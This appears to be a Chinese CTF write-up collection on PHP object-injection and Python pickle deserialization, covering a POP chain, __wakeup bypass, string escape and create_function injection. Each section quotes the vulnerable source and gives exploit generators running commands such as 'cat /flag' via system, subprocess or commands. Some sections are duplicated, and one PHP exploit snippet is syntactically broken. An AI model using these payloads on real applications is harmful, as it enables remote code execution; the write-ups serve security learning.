PHP 代码审计¶
PHP 字符串序列化¶
话不多说,直接上题(BugKu CTF)

打开网页登录界面,题目说登录不进去,尝试找找其他线索

在 CSS 文件中找到注释

URL 跟上参数拿到源码
我们在 Cookie 的 BUGKU 参数中传入序列化后的值

找个在线生成的网站即可

BurpSuite 拦截抓包修改拿到 flag

PHP 反序列化之 __toString() 魔术方法¶
话不多说,直接上题(青少年 CTF 练习平台)

打开网页给出源码

class GIT {
public $username;
public $password;
// 初始化用户名为 'guest',密码为 'Welcome to GITCTF!'
public function __construct(){
$this->username = 'guest';
$this->password = 'Welcome to GITCTF!';
}
// 如果用户名为 'ZeroZone',则输出密码;否则输出提示信息
public function __destruct(){
if($this->username == 'ZeroZone'){
echo $this->password;
}
else{
echo 'ZeroZone Lab new bee !';
}
}
}
class ZeroZone {
public $code;
// 当对象被当作字符串使用时自动调用
public function __toString(){
if(isset($this->code)){
eval($this->code);
return '';
}
else{
echo "代码呢?";
return '';
}
}
}
// 创建一个新的 GIT 类实例
$data = new GIT();
if(isset($_POST['data'])){
$data = unserialize($_POST['data']);
}
让 $data->username == 'ZeroZone',并让 $data->password
由于 __destruct() 会输出 $data->password,如果能让 $data->password 为一个 ZeroZone 对象,并且触发 __toString(),就可以执行任意代码
<?php
class GIT {
public $username;
public $password;
}
class ZeroZone {
public $code;
}
// 构造恶意对象链
$zero = new ZeroZone();
$zero->code = "system('cat /flag');";
$git = new GIT();
// 触发密码输出条件
$git->username = 'ZeroZone';
// 触发__toString() 方法
$git->password = $zero;
// 生成payload
echo serialize($git);
?>

PHP & 引用相同内存¶
话不多说,直接上题(BUUCTF)

打开靶场给出源码
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
md5 绕过很简单,科学计数法及数组绕过都可以
这才来到最关键的地方,如何在序列化前让 $this->correct === $this->input 呢?
我们创建 BUU 类后,重新给 $this->correct 赋值成 $this->input 的值
在 PHP 中,& 表示**引用赋值**,效果是:
两个变量或者属性同时指向同一块内存,任何一方变化,另一方立刻同步变化
<?php
class BUU {
public $correct;
public $input;
}
$fun = new BUU();
// 让 $b1->correct 和 $b1->input 两个属性引用同一块内存地址,即:它们两个绑定为同一个变量
$fun->input = &$fun->correct;
$res = serialize(@$fun);
echo $res;
?>

PHP POP 链¶
话不多说,直接上题(BugKu CTF)

__call() 魔术方法:当调用对象不存在的方法时,会触发该方法
__wakeup() 魔术方法:当对象反序列化时,会触发该方法终止脚本执行
__invoke() 魔术方法:允许对象作为函数被调用
__set() 魔术方法:当给不可访问的属性赋值时会触发
__get() 魔术方法:当访问不可访问的属性时会触发 __destruct
__construct() 构造函数:在对象被实例化后立即执行
__destruct() 魔术方法:当对象生命周期结束时自动触发
__toString() 魔术方法:当对象被当作字符串使用时自动调用
<?php
highlight_file(__FILE__);
error_reporting(0);
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
die("Wishes can be fulfilled");
}
}
class Nevv{
private $happiness;
public function __invoke()
{
return $this->happiness->check();
}
}
class Rabbit{
private $aspiration;
public function __set($name,$val){
return $this->aspiration->family;
}
}
class Year{
public $key;
public $rabbit;
public function __construct($key)
{
$this->key = $key;
}
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
public function __get($name)
{
$name = $this->rabbit;
$name();
}
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
}else {
echo "过新年啊~过个吉祥年~";
}
?>
首先传入 Year 中的 $key="happy new year"
条件成立调用 firecrackers 方法
但 Rabbit 中 wish 不存在,所以调用 get 魔法方法
此时 $name() 对象被当成函数访问,类型实际上是 Rabbit 对象
但 invoke 方法实际上是调用了 Nevv
因为 check() 是个方法不存在,所以调用了 call 方法
$a 和 \(b 是两个 Year 对象,\)c 是一个 Rabbit 对象
它的构造函数接受 $b(另一个 Year 对象)作为参数
这意味着 Rabbit 对象 $c 会持有 $b 对象
$e 是一个 Happy 对象用于执行系统命令
将 Rabbit 对象 $c 赋值给 $a->rabbit
将 Nevv 对象 $d 赋值给 $b->rabbit
将 Nevv 对象 $d 赋值给 $b->rabbit
Year 对象的 $rabbit 属性会被赋值为 Rabbit 对象
而 Rabbit 对象的 $aspiration 属性会被赋值为 Year 对象,依此类推
<?php
class Happy
{
private $cmd = "system";
private $content = "cat /flag";
}
class Nevv
{
private $happiness;
public function __construct($happiness)
{
$this->happiness = $happiness;
}
}
class Rabbit
{
private $aspiration;
public function __construct($aspiration)
{
$this->aspiration = $aspiration;
}
public function __set($name, $val)
{
return @$this->aspiration->family;
}
}
class Year
{
public $key = "happy new year";
public $rabbit;
}
$result = new Year();
$year1 = new Year();
$year1->rabbit = new Nevv(new Happy());
$rabbit1 = new Rabbit($year1);
$result->rabbit = $rabbit1;
$rabbit1->aspiration = 1;
$result=serialize($result);
echo urlencode($result);
Year::__destruct()
└── firecrackers()
└── Rabbit::__set("wish", "allkill QAQ")
└── aspiration->family (aspiration 是 Year)
└── Year::__get("family")
└── this->rabbit() (rabbit 是 Nevv)
└── Nevv::__invoke()
└── happiness->check() (happiness 是 Happy)
└── Happy::__call("check", [])
└── call_user_func($cmd, $content)
拿到 flag

PHP 个数不等绕过__wakeup()¶
话不多说,直接上题(BUUCTF)

打开网页给出了备份提示

扫后台发现 ZIP 文件

下载下来打开 index.php 拿到源码(flag.php 是假的)

看到了反序列化,接下来去看 class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
我们需要传入 username = admin,password = 100,于是构造反序列化
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
还没有结束,因为类的两个属性声明为 private,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见
所以要在此基础上补上 %00 的空字符
最后是绕过 __wakeup()
当反序列化中对象属性的个数和真实的个数不等时,__wakeup() 就会被绕过,所以修改使其不相等即可

PHP 反序列化字符逃逸¶
话不多说,直接上题

打开网页拿到源码
<?php
// 需要以 get 方式传入f参数
$function = @$_GET['f'];
// 对 $img(形参)进行过滤,后缀不允许出现 'php','flag','php5','php4','fl1g'
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
// unset() 销毁指定的变量。
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
// 本题的作用是将 _SESSION 的两个函数变为 post 传参
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
// 对$_SESSION进行一些过滤
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
首先让参数f等于 “phpinfo”,因为题目提示说这里可能会找到些东西

很明显是要读取这个文件,代码里读取文件的地方在这里
if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
反序列化字符串逃逸的原理:
首先康康反序列化结果长啥样
<?php
$_SESSION["user"] = '*';
$_SESSION['function'] = '**';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
// a:3:{s:4:"user";s:1:"*";s:8:"function";s:2:"**";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
那么我们如果想要读取 d0g3_f1ag.php 文件的内容就需要令反序列化后的
则初步反序列化内容
再看到 $serialize_info = filter(serialize($_SESSION));
先经过序列化,然后在进行 filter 函数,也就是过滤替换操作
这样的话就很有可能会造成序列化字符串逃逸的问题
首先默认的序列化数据是
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这里可以控制的部分是 user 和 function 的内容
于是要利用过滤,用 user 吃掉后面的,加 ; 闭合掉前面的键值 function
之后在 function 的部分便可以写入数据控制后面的内容了
要吃掉的数据一共是 22 个,于是 user 的值为 phpphpphpphpphpphpflag
_SESSION[function] 的值为
这里要保证数组内的个数相等,所以要传入两个值,于是构造利用 payload
_SESSION[user]=flagflagflagflagphpphp&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"f";s:1:"a";}
由于 _SESSION 数组有 3 个值,则需要在后面补充随便一个值即可
传入后 $serialize_info 的就为以下值
a:3:{s:4:"user";s:22:"";s:8:"function";s:34:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
随后再读取 s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
随后大括号闭合
后面的 ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} 值丢弃
读取到 d0g3_f1ag.php 内容为
再依法读取 /d0g3_fllllllag 即可
_SESSION[user]=flagflagflagflagphpphp&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"f";s:1:"a";}

Python Pickle 反序列化之 subprocess¶
话不多说,直接上题(BUUCTF)

提示了源码在 /src 目录,直接访问

import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")
class User:
def __init__(self, username, password, auth='ctfer'):
self.username = username
self.password = password
self.auth = auth
password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")
@app.route('/')
def index():
return "Welcome to my application"
@app.route('/login', methods=['GET', 'POST'])
def post_login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin' :
if password == admin.password:
session['username'] = "admin"
return "Welcome Admin"
else:
return "Invalid Credentials"
else:
session['username'] = username
return '''
<form method="post">
<!-- /src may help you>
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
'''
@app.route('/ppicklee', methods=['POST'])
def ppicklee():
data = request.form['data']
sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:
pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:
return i+" waf !!!!!!!"
pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"
@app.route('/admin', methods=['POST'])
def admin():
username = session['username']
if username != "admin":
return jsonify({"message": 'You are not admin!'})
return "Welcome Admin"
@app.route('/src')
def src():
return open("app.py", "r",encoding="utf-8").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5000)
/ppicklee路由只支持POST方法。- 从表单中获取
data字段,并进行 Base64 解码。 - 通过
sys.modules禁用os和sys模块。 - 检查反序列化数据中是否包含黑名单中的关键字,如果包含则返回错误信息。
- 如果数据通过检查,则尝试反序列化数据,成功返回
success pickle,失败返回fail pickle
因为题目告诉了我们 flag 在 /flag下,且其 src 路由会读取文件 app.py 内容并输出
因为禁用了 os 和 sys 模块,所以我们使用另一个模块 subprocess 执行系统命令
import pickle
import base64
import subprocess
# __reduce__ 方法: 这是 pickle 模块中的一个特殊方法,用于定义对象在序列化时的行为,它返回一个元组,包含一个可调用对象(通常是函数)及其参数
# subprocess.check_output: 这是一个函数,用于执行系统命令并返回输出
class A():
def __reduce__(self):
return subprocess.check_output, (["cp", "/flag", "/app/app.py"],)
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

访问 src 目录拿到 flag

Python Pickle 反序列化之 commands¶
话不多说,直接上题(BUUCTF)

打开网页给出提示

网页太多了,用脚本去找
import requests
url="http://30b74212-bc6f-465c-8b60-d9aeaa215b75.node4.buuoj.cn:81/shop?page="
for i in range(0,2000):
print(i)
r=requests.get( url + str(i) )
if 'lv6.png' in r.text:
print (i)
break

找到后购买钱不够,修改前端代码的折扣

购买后显示只能 admin 访问

查看 Cookies 发现有 JWT

使用工具破解密钥

去在线网站生成 admin 的 JWT

替换掉刷新网页

点击后没反应,查看源代码有压缩文件

下载后拿到源码
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
become 参数存在 Pickle 反序列化漏洞
import pickle
import urllib
import commands
# commands.getoutput 是一个函数,用于执行系统命令并返回输出
class Try(object):
def __reduce__(self):
return (commands.getoutput, ('cat /flag.txt',))
a = Try()
print(urllib.quote(pickle.dumps(a)))
替换为脚本生成的序列化代码拿到 flag

PHP Create_function() 反序列化¶
话不多说,直接上题(BugKu CTF)

打开网页给出了源码
<?php
if (isset($_GET['p'])) {
$p = unserialize($_GET['p']);
}
show_source("index.php");
class Noteasy
{
private $a;
private $b;
// 构造函数,会在类的对象在创建时自动调用
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a.$b);
eval($a.$b);
}
// 析构函数,在对象销毁时自动调用
public function __destruct()
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a("", $b);
}
private function check($str)
{
if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
}
public function setAB($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
首先,反序列化不调用构造函数
因为反序列化时通过读取对象的字节流来恢复对象的状态,而不是通过调用对象的构造函数来创建对象
所以直接来看析构函数
public function __destruct()
{
// 将属性 $a 转换为字符串
$a = (string)$this->a;
// 将属性 $b 转换为字符串
$b = (string)$this->b;
// 调用 check 方法,传入 $a 和 $b 连接后的字符串
$this->check($a.$b);
// 重点代码
// 将 $a 作为函数调用,第一个参数为空字符串,第二个参数为 $b
$a("", $b);
}
但是空的的函数不能执行,所以我们要构造一个
这里要利用 Create_function() 函数
create_function 实际上会在内部执行以下操作:
- 生成一个唯一的函数名(如
__lambda_func) - 用给定的参数和代码体创建一个新函数
- 返回这个函数名以便后续调用
构造序列化代码
<?php
Class Noteast{
Private $a;
Private $b;
Public function_construct($a,$b){
$this->a=$a;
$this->b=$b;
}
$object=new Noteasy("create_function",';}highlight_file("/flag");/*;');
Echo serialize($object);
}
这样相当于
实际创建的代码为
得到
O:7:"Noteasy":2:{s:10:"Noteasya";s:15:"create_function";s:10:"Noteasyb";s:21:';}highlight_file("/flag");/*;";}
需要注意因为是 private 属性,所以不能直接使用
应该为 \00类名\00
O:7:"Noteasy":2:{s:10:"\00Noteasy\00a";s:15:"create_function";s:10:"\00Noteasy\00b";s:29:";}highlight_file("/flag");/*";}

PHP %00 绕过 Private¶
话不多说,直接上题(BUUCTF)

打开网页给出了备份提示

扫后台发现 ZIP 文件

下载下来打开 index.php 拿到源码(flag.php 是假的)

看到了反序列化,接下来去看 class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
我们需要传入 username = admin,password = 100,于是构造反序列化
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
还没有结束,因为类的两个属性声明为 private,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见
所以要在此基础上补上 %00
最后是绕过 __wakeup()
当反序列化中对象属性的个数和真实的个数不等时,__wakeup() 就会被绕过,所以修改使其不相等即可

PHP \00 绕过 Private¶
话不多说,直接上题(BugKu CTF)

打开网页给出了源码
<?php
if (isset($_GET['p'])) {
$p = unserialize($_GET['p']);
}
show_source("index.php");
class Noteasy
{
private $a;
private $b;
// 构造函数,会在类的对象在创建时自动调用
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a.$b);
eval($a.$b);
}
// 析构函数,在对象销毁时自动调用
public function __destruct()
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a("", $b);
}
private function check($str)
{
if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
}
public function setAB($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
首先,反序列化不调用构造函数
因为反序列化时通过读取对象的字节流来恢复对象的状态,而不是通过调用对象的构造函数来创建对象
所以直接来看析构函数
public function __destruct()
{
// 将属性 $a 转换为字符串
$a = (string)$this->a;
// 将属性 $b 转换为字符串
$b = (string)$this->b;
// 调用 check 方法,传入 $a 和 $b 连接后的字符串
$this->check($a.$b);
// 重点代码
// 将 $a 作为函数调用,第一个参数为空字符串,第二个参数为 $b
$a("", $b);
}
但是空的的函数不能执行,所以我们要构造一个
这里要利用 Create_function() 函数
create_function 实际上会在内部执行以下操作:
- 生成一个唯一的函数名(如
__lambda_func) - 用给定的参数和代码体创建一个新函数
- 返回这个函数名以便后续调用
构造序列化代码
<?php
Class Noteast{
Private $a;
Private $b;
Public function_construct($a,$b){
$this->a=$a;
$this->b=$b;
}
$object=new Noteasy("create_function",';}highlight_file("/flag");/*;');
Echo serialize($object);
}
这样相当于
实际创建的代码为
得到
O:7:"Noteasy":2:{s:10:"Noteasya";s:15:"create_function";s:10:"Noteasyb";s:21:';}highlight_file("/flag");/*;";}
需要注意因为是 private 属性,所以不能直接使用
应该为 \00类名\00
O:7:"Noteasy":2:{s:10:"\00Noteasy\00a";s:15:"create_function";s:10:"\00Noteasy\00b";s:29:";}highlight_file("/flag");/*";}
